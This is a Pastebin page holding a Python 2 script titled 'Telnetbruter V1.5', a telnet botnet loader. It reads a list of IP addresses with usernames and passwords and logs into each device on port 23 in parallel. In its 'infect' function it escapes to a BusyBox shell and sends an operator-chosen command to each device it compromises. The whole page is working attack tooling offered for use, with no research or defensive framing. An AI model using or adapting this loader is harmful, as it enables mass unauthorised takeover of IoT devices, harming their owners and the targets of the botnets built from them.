Advertisement
kyousukee

Telnetbruter V1.5

Apr 14th, 2019
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.86 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Telnet loader v1.5 *Minor bug fix* | By Avaster
  3.  
  4.  
  5. import sys, re, os, socket, time
  6. from multiprocessing import Process
  7.  
  8. if len(sys.argv) < 2:
  9.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
  10.  
  11. cmd="" #command to send
  12. info = open(str(sys.argv[1]),'a+')
  13.  
  14. def readUntil(tn, string, timeout=8):
  15.     buf = ''
  16.     start_time = time.time()
  17.     while time.time() - start_time < timeout:
  18.         buf += tn.recv(1024)
  19.         time.sleep(0.01)
  20.         if string in buf: return buf
  21.     raise Exception('TIMEOUT!')
  22.  
  23.  
  24. def infect(ip,username,password):
  25.     ip = str(ip).rstrip("\n")
  26.     username = username.rstrip("\n")
  27.     password = password.rstrip("\n")
  28.     try:
  29.         tn = socket.socket()
  30.         tn.settimeout(10)
  31.         tn.connect((ip,23))
  32.     except Exception:
  33.         tn.close()
  34.     try:
  35.         hoho = ''
  36.         hoho += readUntil(tn, "ogin")
  37.         if "ogin" in hoho:
  38.             tn.send(username + "\n")
  39.             time.sleep(0.09)
  40.     except Exception:
  41.         tn.close()
  42.     try:
  43.         hoho = ''
  44.         hoho += readUntil(tn, "assword:")
  45.         if "assword" in hoho:
  46.             tn.send(password + "\n")
  47.             time.sleep(0.8)
  48.         else:
  49.             pass
  50.     except Exception:
  51.         tn.close()
  52.     try:
  53.         prompt = ''
  54.         prompt += tn.recv(40960)
  55.         if ">" in prompt and "ONT" not in prompt:
  56.             try:
  57.                 success = False
  58.                 tn.send("cat | sh" + "\n")
  59.                 time.sleep(0.1)
  60.                 timeout = 8
  61.                 data = ["BusyBox", "Built-in"]
  62.                 tn.send("sh" + "\n")
  63.                 time.sleep(0.01)
  64.                 tn.send("busybox" + "\r\n")
  65.                 buf = ''
  66.                 start_time = time.time()
  67.                 while time.time() - start_time < timeout:
  68.                     buf += tn.recv(40960)
  69.                     time.sleep(0.01)
  70.                     for info in data:
  71.                         if info in buf and "unrecognized" not in buf:
  72.                             success = True
  73.                             break
  74.             except:
  75.                 pass
  76.         elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  77.             try:
  78.                 success = False
  79.                 timeout = 8
  80.                 data = ["BusyBox", "Built-in"]
  81.                 tn.send("sh" + "\n")
  82.                 time.sleep(0.01)
  83.                 tn.send("shell" + "\n")
  84.                 time.sleep(0.01)
  85.                 tn.send("help" + "\n")
  86.                 time.sleep(0.01)
  87.                 tn.send("busybox" + "\r\n")
  88.                 buf = ''
  89.                 start_time = time.time()
  90.                 while time.time() - start_time < timeout:
  91.                     buf += tn.recv(40960)
  92.                     time.sleep(0.01)
  93.                     for info in data:
  94.                         if info in buf and "unrecognized" not in buf:
  95.                             success = True
  96.                             break
  97.             except:
  98.                 pass
  99.         else:
  100.             tn.close()
  101.         if success == True:
  102.             try:
  103.                 tn.send(cmd + "\n")
  104.                 print "\033[32m[\033[31m+\033[32m] \033[33mCommand Sent!\033[32m %s"%(ip)
  105.                 time.sleep(20)
  106.                 tn.close()
  107.             except:
  108.                 tn.close()
  109.         tn.close()
  110.     except Exception:
  111.         tn.close()
  112.  
  113. for x in info:
  114.     try:
  115.         if ":23 " in x:
  116.             x = x.replace(":23 ", ":")
  117.         xinfo = x.split(":")
  118.         session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
  119.         session.start()
  120.         ip=xinfo[0]
  121.         username=xinfo[1]
  122.         password=xinfo[2]
  123.         time.sleep(0.01)
  124.     except:
  125.         pass
  126. session.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement